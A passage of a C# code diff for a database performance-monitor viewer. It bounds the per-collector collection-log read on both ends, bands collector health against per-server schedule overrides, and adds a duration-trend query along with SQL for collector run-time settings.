+    /// Lite's per-collector drill read (<c>GetCollectionLogByCollectorAsync</c>), bounded on both sides as the Collection Log
+    /// grid's read is (<see cref="RecentCollectionLogSql"/>, #4966): every collection_log row for one collector on one server
+    /// between the window's start and end, newest first. Feeds the CollectionLogWindow the Health Summary grid opens on
+    /// double-click. $1 server_id, $2 collector_name, $3 window start, $4 window end (naive UTC).
     /// </summary>
     public const string CollectionLogByCollectorSql = """
         SELECT
@@ -452,6 +436,7 @@ FROM v_collection_log
         WHERE server_id = $1
         AND   collector_name = $2
         AND   collection_time >= $3
+        AND   collection_time <= $4
         ORDER BY collection_time DESC
         """;
 
@@ -463,6 +448,8 @@ public async Task<List<CollectorHealthRow>> GetCollectionHealthAsync(int serverI
     {
         var items = new List<CollectorHealthRow>();
 
+        /* #4999: read before the health statement's reader opens, so one call never holds two. */
+        var scheduleOverrides = await ReadScheduleOverridesForHealthAsync(cancellationToken);
         await using var command = _dataSource.CreateCommand(CollectionHealthSql);
         command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
         command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
@@ -477,39 +464,50 @@ public async Task<List<CollectorHealthRow>> GetCollectionHealthAsync(int serverI
             items.Add(MapHealthRow(reader));
         }
 
+        ApplyScheduledFrequencies(items, serverId, scheduleOverrides);
         return items;
     }
 
     /// <summary>
-    /// Fleet-cumulative per-collector health across ALL enabled monitored servers over the trailing 7 days —
-    /// the status bar's aggregate-view total (Overview / Alert History / FinOps / Recommendations), where Lite
-    /// shows a cumulative count rather than one server's. ONE query (<see cref="FleetCollectionHealthSql"/>)
-    /// regardless of fleet size; each row is a (server, collector) pair carrying its own
-    /// <see cref="CollectorHealthRow.HealthStatus"/>, so the caller counts total + FAILING exactly as per-server.
+    /// #4999: every collector schedule override row, the fleet-wide ones and every server's own, for the
+    /// collection-health reads, which band a collector against the interval it is scheduled at. The same rows the
+    /// schedule editor reads (<see cref="GetCollectorSchedulesAsync"/>); the table is sparse. A failure to read costs
+    /// the health view nothing but the overrides: every row then keeps the shipped cadence it was judged by before,
+    /// and the view still answers. A cancellation is not swallowed.
     /// </summary>
-    public async Task<List<CollectorHealthRow>> GetFleetCollectionHealthAsync(CancellationToken cancellationToken = default)
+    private async Task<IReadOnlyList<CollectorScheduleRow>> ReadScheduleOverridesForHealthAsync(CancellationToken cancellationToken)
     {
-        var items = new List<CollectorHealthRow>();
-
-        await using var command = _dataSource.CreateCommand(FleetCollectionHealthSql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        command.Parameters.Add(new NpgsqlParameter<DateTime>
+        try
         {
-            TypedValue = DateTime.SpecifyKind(DateTime.UtcNow.AddDays(-7), DateTimeKind.Unspecified),
-        });
-
-        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-        while (await reader.ReadAsync(cancellationToken))
+            return await GetCollectorSchedulesAsync(cancellationToken);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
         {
-            items.Add(MapHealthRow(reader));
+            System.Diagnostics.Trace.TraceWarning($"#4999 collection health could not read the collector schedule overrides; its collectors are judged by their shipped cadences: {ex.GetType().Name}: {ex.Message}");
+            return Array.Empty<CollectorScheduleRow>();
         }
+    }
 
-        return items;
+    /// <summary>
+    /// #4999: stamps each catalog collector's row with the interval it is scheduled at on
+    /// <paramref name="serverId"/>: the per-server override, else the fleet-wide one, else the shipped default, through
+    /// <see cref="CollectorScheduleDefaults.ResolveEffectiveIntervalMinutes{T}"/>, the rule the service's own schedule
+    /// resolution is built on (the viewer cannot reach the service's resolver, so the rule lives in
+    /// <c>PerformanceMonitor.Collectors</c>, which both reference). A name the catalog does not know is left
+    /// unstamped. Pure, so a test applies a set of overrides without a store.
+    /// </summary>
+    internal static void ApplyScheduledFrequencies(
+        IEnumerable<CollectorHealthRow> rows, int serverId, IReadOnlyList<CollectorScheduleRow> overrides)
+    {
+        foreach (var row in rows)
+        {
+            row.EffectiveFrequencyMinutes = CollectorScheduleDefaults.ResolveEffectiveIntervalMinutes(row.CollectorName, serverId, overrides);
+        }
     }
 
     /// <summary>
-    /// The per-(server, collector) breakdown <see cref="FleetCollectionHealthSql"/> groups by but does not
-    /// project (#4226): identical eleven aggregates, with <c>server_id</c> added as column 0 so the Overview
+    /// The per-(server, collector) breakdown the status bar's old fleet-cumulative read grouped by but did not
+    /// project (#4226, #4999): the same eleven aggregates, with <c>server_id</c> added as column 0 so the Overview
     /// cards, the status bar and the server-tab badge can take their per-server counts from ONE fleet-wide
     /// read instead of one raw <c>CollectionHealthSql</c> / <see cref="PermissionDeniedCollectorCountSql"/>
     /// scan per server. Shaped for <see cref="CollectionHealthRollupSupport.ComposeFleetSql"/> — fourteen
@@ -518,7 +516,7 @@ public async Task<List<CollectorHealthRow>> GetFleetCollectionHealthAsync(Cancel
     /// <para><b>Scoped to <c>server_id &lt;&gt; 0</c> (the fleet-maintenance sentinel), NOT to
     /// <c>config_monitored_servers.is_enabled</c> — a #4226 regression, found by
     /// <c>ServerSummary_ReadsEnrichedThreadsMemoryBlockingCollectors_AgainstDevPostgres</c>.</b> An earlier
-    /// version of this statement copied <see cref="FleetCollectionHealthSql"/>'s <c>is_enabled</c> scope,
+    /// version of this statement copied the old fleet-cumulative read's <c>is_enabled</c> scope,
     /// on the reasoning that the two shared "identical" scope — but that scope belongs to a DIFFERENT
     /// consumer (the status bar's fleet-cumulative total, where a removed server's aged-out rows should
     /// not read as erroring). Every caller of THIS statement, through
@@ -604,6 +602,10 @@ public Task<Dictionary<int, List<CollectorHealthRow>>> GetFleetCollectionHealthB
     /// the others still waiting on it.</summary>
     private async Task<Dictionary<int, List<CollectorHealthRow>>> FetchFleetCollectionHealthByServerAsync()
     {
+        /* #4999: the fleet's schedule rows, read once before the health statement's reader opens; each server's
+           rows are stamped with the interval its collectors are scheduled at on THAT server, so the Overview cards
+           and the status bar band them as the server's own Collection Health tab does. */
+        var scheduleOverrides = await ReadScheduleOverridesForHealthAsync(CancellationToken.None);
         var now = DateTime.UtcNow;
         var windowStart = DateTime.SpecifyKind(now.AddDays(-7), DateTimeKind.Unspecified);
         var headEnd = CollectionHealthRollupSupport.CeilingHour(windowStart);
@@ -643,6 +645,11 @@ arm 819 times in three days on a store measured at 6.6 s (raw) against 184 ms (c
             rows.Add(MapFleetByServerRow(reader));
         }
 
+        foreach (var (serverId, rows) in byServer)
+        {
+            ApplyScheduledFrequencies(rows, serverId, scheduleOverrides.Where(o => o.ServerId is null || o.ServerId == serverId).ToList());
+        }
+
         return byServer;
     }
 
@@ -671,9 +678,9 @@ the Overview card would band a collector that lost half its databases HEALTHY be
         LatestRunNote = reader.IsDBNull(13) ? null : reader.GetString(13),
     };
 
-    /// <summary>Maps one row of the shared 19-column health projection (per-server or fleet, ordinals 0-18) to a
-    /// <see cref="CollectorHealthRow"/>. The count is load-bearing: both projections are read POSITIONALLY
-    /// through this one mapper, so it must match them exactly (19 since #4748 appended latest_run_note at
+    /// <summary>Maps one row of the 19-column per-server health projection (<see cref="CollectionHealthSql"/>, ordinals 0-18)
+    /// to a <see cref="CollectorHealthRow"/>. The count is load-bearing: the projection is read POSITIONALLY
+    /// through this one mapper, so it must match it exactly (19 since #4748 appended latest_run_note at
     /// ordinal 18; #3819's last_non_skip_time and last_productive_time sit at ordinals 16-17,
     /// #3240's extension_missing_count at 15 and #2804's abandoned_count at 14).</summary>
     private static CollectorHealthRow MapHealthRow(NpgsqlDataReader reader) => new()
@@ -691,31 +698,57 @@ the Overview card would band a collector that lost half its databases HEALTHY be
         YieldCount = reader.IsDBNull(10) ? 0 : Convert.ToInt64(reader.GetValue(10)),
         LastNote = reader.IsDBNull(11) ? null : reader.GetString(11),
         NoteCount = reader.IsDBNull(12) ? 0 : Convert.ToInt64(reader.GetValue(12)),
-        /* #1852: NULL on the fleet read (see FleetCollectionHealthSql) reads as "no inventory to go on",
-           which is the same silence an install with no size stats gets. */
+        /* #1852: a NULL flag reads as "no inventory to go on", which is the same silence an install with no size
+           stats gets. */
         TargetHasUserDatabases = !reader.IsDBNull(13) && Convert.ToInt64(reader.GetValue(13)) != 0,
-        /* Appended (#2804). Both reads above compute it, so unlike has_user_databases it is never a
-           NULL placeholder on the fleet side — an abandoned cycle is data loss on either surface. */
+        /* Appended (#2804). A real aggregate, never a NULL placeholder: an abandoned cycle is data loss. */
         AbandonedCount = reader.IsDBNull(14) ? 0 : Convert.ToInt64(reader.GetValue(14)),
-        /* Appended (#3240). Both reads compute it, for the same reason: the band it feeds must agree
-           between the per-server grid and the fleet rollup. */
+        /* Appended (#3240). Computed for the same reason: the band it feeds must agree between the
+           per-server grid and the fleet rollups. */
         ExtensionMissingCount = reader.IsDBNull(15) ? 0 : Convert.ToInt64(reader.GetValue(15)),
-        /* Appended (#3819). Computed by BOTH reads, for the reason the two counts above are: the band
-           floor they feed must agree between the grid and the fleet total. */
+        /* Appended (#3819). Computed for the reason the two counts above are: the band floor they feed
+           must agree between the grid and the fleet total. */
         LastNonSkipTime = reader.IsDBNull(16) ? null : reader.GetDateTime(16),
         LastProductiveTime = reader.IsDBNull(17) ? null : reader.GetDateTime(17),
-        /* Appended (#4748). Both reads compute it, so the band agrees between the grid and the fleet total. */
+        /* Appended (#4748). So the band agrees between the grid and the fleet total. */
         LatestRunNote = reader.IsDBNull(18) ? null : reader.GetString(18),
     };
 
+    /// <summary>
+    /// The Collection Log grid's row cap: the newest 500 runs by collection time. <see cref="GetRecentCollectionLogAsync"/> binds it to
+    /// <see cref="RecentCollectionLogSql"/>'s <c>LIMIT $4</c> by default, and the tab names the same number to the "Showing since"
+    /// note (#4966), so a read that returned this many runs names its oldest one: the grid reaches back no further.
+    /// </summary>
+    public const int CollectionLogRowCap = 500;
+
+    /// <summary>
+    /// The per-collector drill's window in hours (the trailing 7 days): <see cref="GetCollectionLogByCollectorAsync(int, string, int, CancellationToken)"/>
+    /// reads from this far back by default, and the drill window works one start and one end out of it for both its read and the
+    /// "Showing since" probe (#4966). The read has no row cap, so the note follows the coverage rule.
+    /// </summary>
+    public const int CollectionLogDrillHours = 168;
+
+    /// <summary>
+    /// Where this server's collection log starts for the window (#4966), through the shared probe (<see cref="DataWindowFloor"/>)
+    /// over the log's own source (<see cref="DataWindowFloor.Source.ForCollectionLog"/>): the later of the server's first collection
+    /// and the log's own retention edge, or its first run in the window if that is earlier. Both Collection Log surfaces ask it, the
+    /// grid over the toolbar's range and the per-collector drill over its trailing week. Null when the window holds no logged run,
+    /// when it lies wholly before the coverage, and for a window of 90 minutes or less (the probe starts no query for one).
+    /// </summary>
+    public Task<DateTime?> GetCollectionLogDataStartAsync(int serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default) =>
+        DataWindowFloor.GetForServerAsync(_dataSource, DataWindowFloor.Source.ForCollectionLog(), serverId, startUtc, endUtc,
+            ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
+
     /// <summary>
     /// Collection_log entries for one server between the window's naive-UTC start/end bounds, most recent
-    /// first (500-row cap). Feeds the Collection Log sub-tab grid and the Duration Trends chart. The window
+    /// first (<see cref="CollectionLogRowCap"/>-row cap). Feeds the Collection Log sub-tab grid, and only the grid: the Duration Trends
+    /// chart reads its own buckets over the whole range (<see cref="GetCollectorDurationTrendAsync"/>, #4966), because this page ends
+    /// wherever the 500th newest run falls. The window
     /// is the per-server toolbar's settable range (<c>GetWindowUtc</c>): a preset ends "now", a custom
     /// From/To bounds EXACTLY — unlike the old hours-back read, a custom range no longer rounds to a
     /// hours-back-from-now span. Mirrors how <see cref="GetDistinctWaitTypesAsync"/> windows its read.
     /// </summary>
-    public async Task<List<CollectionLogRow>> GetRecentCollectionLogAsync(int serverId, DateTime startUtc, DateTime endUtc, int maxRows = 500, CancellationToken cancellationToken = default)
+    public async Task<List<CollectionLogRow>> GetRecentCollectionLogAsync(int serverId, DateTime startUtc, DateTime endUtc, int maxRows = CollectionLogRowCap, CancellationToken cancellationToken = default)
     {
         await using var command = _dataSource.CreateCommand(RecentCollectionLogSql);
         command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
@@ -734,11 +767,78 @@ public async Task<List<CollectionLogRow>> GetRecentCollectionLogAsync(int server
     }
 
     /// <summary>
-    /// Collection_log entries for a specific collector on one server, most recent first. Copied from
-    /// Lite's <c>GetCollectionLogByCollectorAsync</c> (default 168-hour / 7-day window). Feeds the
-    /// CollectionLogWindow drill.
+    /// The bucket width, in minutes, the Duration Trends chart reads at for the range (#4966): the shared ladder's narrowest width that
+    /// keeps the range within <see cref="TrendBudget.Chart"/>'s point budget, sized as <see cref="GetCpuUtilizationAsync"/> and the
+    /// blocking trends size theirs (one series, so a collector's line holds at most that many points). A minute for 24 hours, ten
+    /// for 7 days. A function of its own so a test holds it to the shared helper without a store.
+    /// </summary>
+    /// <param name="startUtc">The range's start.</param>
+    /// <param name="endUtc">The range's end.</param>
+    public static int CollectorDurationBucketMinutes(DateTime startUtc, DateTime endUtc)
+    {
+        var windowMinutes = Math.Max(1, (int)Math.Ceiling((endUtc - startUtc).TotalMinutes));
+        return TrendBuckets.AutoMinutes(windowMinutes, 1, TrendBudget.Chart.AutoPoints);
+    }
+
+    /// <summary>
+    /// The Duration Trends chart's feed (#4966): per collector and bucket, the longest and average duration of the successful runs
+    /// and their count, over the whole range (<see cref="CollectorDurationTrendSql"/>), in collector then time order. Read beside
+    /// <see cref="GetRecentCollectionLogAsync"/>, not from it: the grid's page keeps the newest <see cref="CollectionLogRowCap"/>
+    /// runs, and the chart's axis spans the range. Each bucket is <see cref="CollectorDurationBucketMinutes"/> wide.
+    /// </summary>
+    public async Task<List<CollectorDurationBucket>> GetCollectorDurationTrendAsync(int serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default)
+    {
+        await using var command = _dataSource.CreateCommand(CollectorDurationTrendSql);
+        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        command.Parameters.Add(new NpgsqlParameter<DateTime>
+        {
+            TypedValue = DateTime.SpecifyKind(startUtc, DateTimeKind.Unspecified),
+        });
+        command.Parameters.Add(new NpgsqlParameter<DateTime>
+        {
+            TypedValue = DateTime.SpecifyKind(endUtc, DateTimeKind.Unspecified),
+        });
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = CollectorDurationBucketMinutes(startUtc, endUtc) });
+
+        var items = new List<CollectorDurationBucket>();
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            /* MAX and AVG read type-agnostically (an integer column's AVG is numeric); COUNT is bigint. The WHERE keeps NULL durations out,
+               so no bucket here has a NULL maximum or average. */
+            items.Add(new CollectorDurationBucket(
+                reader.GetString(0),
+                reader.GetDateTime(1),
+                Convert.ToInt32(reader.GetValue(2)),
+                Convert.ToDouble(reader.GetValue(3)),
+                reader.GetInt64(4)));
+        }
+
+        return items;
+    }
+
+    /// <summary>
+    /// Collection_log entries for a specific collector on one server, most recent first, from <paramref name="hoursBack"/> hours
+    /// before now. Copied from Lite's <c>GetCollectionLogByCollectorAsync</c> (default 168-hour / 7-day window). It reads the window
+    /// <see cref="GetCollectionLogByCollectorAsync(int, string, DateTime, DateTime, CancellationToken)"/> takes, which ends now, and
+    /// the clock is read once for both of its bounds. A caller that also asks the "Showing since" probe about the window names its
+    /// start and its end for both.
     /// </summary>
-    public async Task<List<CollectionLogRow>> GetCollectionLogByCollectorAsync(int serverId, string collectorName, int hoursBack = 168, CancellationToken cancellationToken = default)
+    public Task<List<CollectionLogRow>> GetCollectionLogByCollectorAsync(int serverId, string collectorName, int hoursBack = CollectionLogDrillHours, CancellationToken cancellationToken = default)
+    {
+        var endUtc = DateTime.UtcNow;
+        return GetCollectionLogByCollectorAsync(serverId, collectorName, endUtc.AddHours(-hoursBack), endUtc, cancellationToken);
+    }
+
+    /// <summary>
+    /// Collection_log entries for a specific collector on one server between <paramref name="startUtc"/> and
+    /// <paramref name="endUtc"/> (naive UTC, both inclusive), most recent first, with no row cap. Feeds the CollectionLogWindow
+    /// drill, which passes the window its <see cref="GetCollectionLogDataStartAsync"/> probe asks about (#4966), and bounds it on
+    /// both sides as <see cref="GetRecentCollectionLogAsync"/> does for the grid: a read with no end would list the runs after a
+    /// pinned end while its probe and its note spoke of the window before it.
+    /// </summary>
+    public async Task<List<CollectionLogRow>> GetCollectionLogByCollectorAsync(int serverId, string collectorName, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default)
     {
         await using var command = _dataSource.CreateCommand(CollectionLogByCollectorSql);
         command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
@@ -746,7 +846,11 @@ public async Task<List<CollectionLogRow>> GetCollectionLogByCollectorAsync(int s
         command.Parameters.Add(new NpgsqlParameter<string> { TypedValue = collectorName });
         command.Parameters.Add(new NpgsqlParameter<DateTime>
         {
-            TypedValue = DateTime.SpecifyKind(DateTime.UtcNow.AddHours(-hoursBack), DateTimeKind.Unspecified),
+            TypedValue = DateTime.SpecifyKind(startUtc, DateTimeKind.Unspecified),
+        });
+        command.Parameters.Add(new NpgsqlParameter<DateTime>
+        {
+            TypedValue = DateTime.SpecifyKind(endUtc, DateTimeKind.Unspecified),
         });
 
         return await ReadCollectionLogAsync(command, cancellationToken);
@@ -840,6 +944,14 @@ private static async Task<List<CollectionLogRow>> ReadCollectionLogAsync(NpgsqlC
 public sealed record ManualPurgeRunRecord(
     DateTime CollectionTime, string Status, string? ErrorMessage, int? RowsCollected, int? DurationMs);
 
+/// <summary>
+/// One collector's successful runs in one bucket of the Duration Trends chart (#4966): the longest and the average duration among
+/// them and how many runs that is. <see cref="BucketStart"/> is the bucket's start in the store's naive UTC, clamped to the range's
+/// start for the first bucket. The chart draws <see cref="MaxDurationMs"/>, so a slow run shows however wide the bucket is.
+/// </summary>
+public sealed record CollectorDurationBucket(
+    string CollectorName, DateTime BucketStart, int MaxDurationMs, double AvgDurationMs, long RunCount);
+
 /// <summary>
 /// One row of the Collection Log grid / drill window — a single collector run's outcome. Copied
 /// VERBATIM from Lite's <c>CollectionLogRow</c> (LocalDataService.CollectionHealth.cs): every display
@@ -867,7 +979,7 @@ public class CollectionLogRow
     public string Status { get; set; } = "";
     public string? ErrorMessage { get; set; }
 
-    public string CollectionTimeFormatted => ViewerTimeHelper.FormatForDisplay(CollectionTime, "g");
+    public string CollectionTimeFormatted => ViewerTimeHelper.FormatForDisplay(CollectionTime, "yyyy-MM-dd HH:mm:ss");
 
     public string DurationFormatted => DurationMs.HasValue
         ? (DurationMs.Value < 1000 ? $"{DurationMs.Value} ms" : $"{DurationMs.Value / 1000.0:F1} s")
@@ -1000,14 +1112,27 @@ the two surfaces that have a rows_stored to count and a field to render it in. *
     /// on-load collector's catalog 0 reads as the daily recapture interval, which is what lets
     /// <see cref="CollectorHealthClassifier.Classify"/> band it on the SAME ladder as any other. A name the
     /// catalog doesn't know keeps 0 and the classifier's floor thresholds, as before #4000: resolving it to
-    /// daily too would leave a collector that went dark HEALTHY for a day and a half. The banding uses the
-    /// shipped default, not any per-install override: the viewer has no cheap per-collector effective
-    /// frequency at the row level, and using the same default across all three surfaces keeps them in
-    /// parity.</summary>
+    /// daily too would leave a collector that went dark HEALTHY for a day and a half.
+    ///
+    /// <para>#4999: the cadence the collector RUNS at on this server, when the read that built the row stamped it
+    /// (<see cref="EffectiveFrequencyMinutes"/>): the per-server schedule override, else the fleet-wide one, else
+    /// the shipped default, resolved by <c>CollectorScheduleDefaults.ResolveEffectiveIntervalMinutes</c>, the
+    /// rule the service's own schedule resolution is built on, so this band, the fleet roll-up's and
+    /// get_collection_health's judge a collector against the same interval. A row nothing stamped keeps the
+    /// shipped default.</para></summary>
     private int FrequencyMinutes =>
-        CollectorScheduleDefaults.All.TryGetValue(CollectorName, out var schedule)
+        EffectiveFrequencyMinutes
+        ?? (CollectorScheduleDefaults.All.TryGetValue(CollectorName, out var schedule)
             ? CollectorScheduleDefaults.EffectiveRecurringIntervalMinutes(schedule.FrequencyMinutes)
-            : 0;
+            : 0);
+
+    /// <summary>
+    /// #4999: the interval, in minutes, this collector is scheduled at on the server the row was read for, as
+    /// <see cref="ViewerDataService.ApplyScheduledFrequencies"/> resolves it, or null when nothing resolved one (an
+    /// unknown collector name, a row built outside the health reads). Set once, inside the read that builds the row,
+    /// because the fleet read is cached and its rows are shared between callers.
+    /// </summary>
+    internal int? EffectiveFrequencyMinutes { get; set; }
 
     /// <summary>
     /// The row's band: the shared ladder's verdict, with #3819's regression FLOOR applied over it —
@@ -1027,15 +1152,15 @@ the two surfaces that have a rows_stored to count and a field to render it in. *
         : $"{AvgDurationMs / 1000:F1} s";
 
     public string LastSuccessFormatted => LastSuccessTime.HasValue
-        ? ViewerTimeHelper.FormatForDisplay(LastSuccessTime.Value, "g")
+        ? ViewerTimeHelper.FormatForDisplay(LastSuccessTime.Value, "yyyy-MM-dd HH:mm:ss")
         : "Never";
 
     public string LastRunFormatted => LastRunTime.HasValue
-        ? ViewerTimeHelper.FormatForDisplay(LastRunTime.Value, "g")
+        ? ViewerTimeHelper.FormatForDisplay(LastRunTime.Value, "yyyy-MM-dd HH:mm:ss")
         : "Never";
 
     public string LastErrorFormatted => LastErrorTime.HasValue
-        ? ViewerTimeHelper.FormatForDisplay(LastErrorTime.Value, "g")
+        ? ViewerTimeHelper.FormatForDisplay(LastErrorTime.Value, "yyyy-MM-dd HH:mm:ss")
         : "";
 
     /// <summary>
@@ -1061,6 +1186,6 @@ public class CollectionCaveatRow
     public DateTime FirstSeenUtc { get; set; }
     public DateTime LastSeenUtc { get; set; }
 
-    public string FirstSeenFormatted => ViewerTimeHelper.FormatForDisplay(FirstSeenUtc, "g");
-    public string LastSeenFormatted => ViewerTimeHelper.FormatForDisplay(LastSeenUtc, "g");
+    public string FirstSeenFormatted => ViewerTimeHelper.FormatForDisplay(FirstSeenUtc, "yyyy-MM-dd HH:mm:ss");
+    public string LastSeenFormatted => ViewerTimeHelper.FormatForDisplay(LastSeenUtc, "yyyy-MM-dd HH:mm:ss");
 }
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.CollectorSchedules.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.CollectorSchedules.cs
index be3a227aa5..0f61cb12ab 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.CollectorSchedules.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.CollectorSchedules.cs
@@ -8,6 +8,7 @@
 
 using System;
 using System.Collections.Generic;
+using System.Globalization;
 using System.Threading;
 using System.Threading.Tasks;
 using Npgsql;
@@ -36,6 +37,21 @@ namespace PerformanceMonitor.Darling.Viewer;
 /// <c>config_version</c> once per sweep). The fleet scope stays sparse (only collectors that differ from the
 /// code default get a row); a per-server "custom" scope writes an explicit row per collector, matching Lite's
 /// full-snapshot per-server override so the grid is WYSIWYG regardless of the fleet layer.</para>
+///
+/// <para><b>A collector's run time is not a column of these rows (#4938).</b> It lives in its own table,
+/// <c>config.config_collector_run_times</c>, because the whole-scope Save above deletes a scope's rows and inserts them
+/// again with a fixed column list: a viewer that did not know the column would clear it on every Save. This partial reads
+/// that table with <see cref="GetCollectorRunTimesAsync"/> and writes it with <see cref="SaveCollectorRunTimesAsync"/>,
+/// each change its own statement (an upsert of one row, or the delete of the row for "no run time"). The schedule
+/// statements never name the run time, so a Save here leaves every run time as it was.</para>
+///
+/// <para><b>A schedule Reset also deletes that scope's run times, in the same transaction as the schedule rows (#4938).</b> A
+/// reset means back to the shipped defaults, and they have no fixed time. The window's "Reset to Defaults" and a server's "Use
+/// default schedule" Save through <see cref="SaveCollectorScheduleAsync(int?, IEnumerable{CollectorScheduleRow}, IReadOnlyList{CollectorRunTimeChange}, bool, CancellationToken)"/>
+/// with the scope's run-time rows cleared first, and "Apply Default to All Servers" is the single call
+/// <see cref="ResetAllServerSchedulesAsync"/>, which deletes every server's schedule rows and run times together. A viewer
+/// released before the run-time table existed resets the schedule rows only, so a run time set by this viewer survives a Reset
+/// done in an older one.</para>
 /// </summary>
 public sealed partial class ViewerDataService
 {
@@ -82,6 +98,61 @@ ON CONFLICT (server_id, collector_name) WHERE server_id IS NOT NULL DO UPDATE SE
     public const string CollectorScheduleDeleteAllServerScopesSql =
         "DELETE FROM config_collector_schedules WHERE server_id IS NOT NULL";
 
+    /// <summary>All run-time rows (both scopes), for the editor to show next to the schedule rows (#4938). Its own read of
+    /// <c>config.config_collector_run_times</c>, the V160 table, and not a column of the schedule rows: the Save above deletes
+    /// a scope's schedule rows and inserts them again with a fixed column list, so a viewer that did not know a run-time column
+    /// would clear it. Schema-qualified, so a 42P01 from it can only mean this table is missing.</summary>
+    public const string CollectorRunTimesSelectSql =
+        "SELECT server_id, collector_name, run_at_minute FROM config.config_collector_run_times ORDER BY server_id NULLS FIRST, collector_name";
+
+    /// <summary>Upserts one FLEET-WIDE run time (server_id NULL). Arbiter matches V160's
+    /// <c>ux_config_collector_run_times_fleet</c>. $1 collector_name, $2 run_at_minute (smallint, minutes after midnight on the
+    /// server's clock). A plain INSERT: the table's own statement-level trigger bumps <c>config_version</c>, so a running
+    /// service reloads.</summary>
+    public const string CollectorRunTimeFleetUpsertSql = @"
+INSERT INTO config.config_collector_run_times (server_id, collector_name, run_at_minute)
+VALUES (NULL, $1, $2)
+ON CONFLICT (collector_name) WHERE server_id IS NULL DO UPDATE SET
+    run_at_minute = EXCLUDED.run_at_minute";
+
+    /// <summary>Upserts one PER-SERVER run time. Arbiter matches V160's <c>ux_config_collector_run_times_server</c>. $1 server_id,
+    /// $2 collector_name, $3 run_at_minute (smallint; -1 is "no fixed time on this server").</summary>
+    public const string CollectorRunTimeServerUpsertSql = @"
+INSERT INTO config.config_collector_run_times (server_id, collector_name, run_at_minute)
+VALUES ($1, $2, $3)
+ON CONFLICT (server_id, collector_name) WHERE server_id IS NOT NULL DO UPDATE SET
+    run_at_minute = EXCLUDED.run_at_minute";
+
+    /// <summary>Deletes the fleet-wide run time of one collector ("no run time", or back to the default). $1 collector_name.</summary>
+    public const string CollectorRunTimeFleetDeleteSql =
+        "DELETE FROM config.config_collector_run_times WHERE server_id IS NULL AND collector_name = $1";
+
+    /// <summary>Deletes one server's run time of one collector ("use the fleet's time", or back to the default). $1 server_id,
+    /// $2 collector_name.</summary>
+    public const string CollectorRunTimeServerDeleteSql =
+        "DELETE FROM config.config_collector_run_times WHERE server_id = $1 AND collector_name = $2";
+
+    /// <summary>Deletes EVERY per-server run time in one statement, leaving the fleet-wide ones (<c>server_id IS NULL</c>) alone:
+    /// the run-time half of the fleet-wide "Apply Default to All" reset, which sends every server back to the fleet's schedule.</summary>
+    public const string CollectorRunTimeDeleteAllServerScopesSql =
+        "DELETE FROM config.config_collector_run_times WHERE server_id IS NOT NULL";
+
+    /// <summary>Deletes EVERY fleet-wide run time, whatever the collector: the run-time half of a fleet-scope schedule Reset, which
+    /// goes back to the shipped defaults, and they have no fixed time.</summary>
+    public const string CollectorRunTimeDeleteFleetScopeSql =
+        "DELETE FROM config.config_collector_run_times WHERE server_id IS NULL";
+
+    /// <summary>Deletes EVERY run time of one server, whatever the collector: the run-time half of a server-scope schedule Reset.
+    /// $1 server_id.</summary>
+    public const string CollectorRunTimeDeleteServerScopeSql =
+        "DELETE FROM config.config_collector_run_times WHERE server_id = $1";
+
+    /// <summary>Whether the run-time table exists, looked up by name in the catalog, so the answer does not depend on the connecting
+    /// role's privileges on it (the connect gate's probe asks the same way). A statement that fails aborts its transaction, so a
+    /// delete that has to tolerate a store below V160 asks first and is skipped there.</summary>
+    public const string CollectorRunTimeTableExistsSql =
+        "SELECT to_regclass('config.config_collector_run_times') IS NOT NULL";
+
     /// <summary>All override rows in the store (both fleet + per-server), for the editor overlay.</summary>
     public async Task<List<CollectorScheduleRow>> GetCollectorSchedulesAsync(CancellationToken cancellationToken = default)
     {
@@ -106,37 +177,264 @@ ReadScheduleOverridesAsync says why the collapse would be a semantic change. */
         return rows;
     }
 
+    /// <summary>
+    /// Every run-time row in the store, both scopes (#4938), read from <c>config.config_collector_run_times</c>. A store
+    /// below V160 has no such table, and that is "no run times", which is what every collector had before it existed: the
+    /// 42P01 is answered with an empty list. The viewer's connect gate normally refuses such a store first, but its schema
+    /// probe fails open when it throws, so a store below V160 can still reach the editor, and the editor must open on it.
+    /// Matched on the state code, not the message text, because lc_messages is not always English. Any other failure
+    /// propagates.
+    /// </summary>
+    public async Task<List<CollectorRunTimeRow>> GetCollectorRunTimesAsync(CancellationToken cancellationToken = default)
+    {
+        var rows = new List<CollectorRunTimeRow>();
+
+        try
+        {
+            await using var command = _dataSource.CreateCommand(CollectorRunTimesSelectSql);
+            command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
+            await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+            while (await reader.ReadAsync(cancellationToken))
+            {
+                rows.Add(new CollectorRunTimeRow(
+                    reader.IsDBNull(0) ? null : reader.GetInt32(0),
+                    reader.GetString(1),
+                    Convert.ToInt32(reader.GetValue(2), CultureInfo.InvariantCulture)));
+            }
+        }
+        catch (PostgresException ex) when (ex.SqlState == UndefinedTableSqlState)
+        {
+            return new List<CollectorRunTimeRow>();
+        }
+
+        return rows;
+    }
+
+    /// <summary>
+    /// Writes run-time changes on their own (#4938), each one a statement of its own against
+    /// <c>config.config_collector_run_times</c>: a value upserts the row for its scope and collector, and null deletes it.
+    /// Never the schedule rows' delete-and-reinsert Save, so a run time is never carried through (or cleared by) that
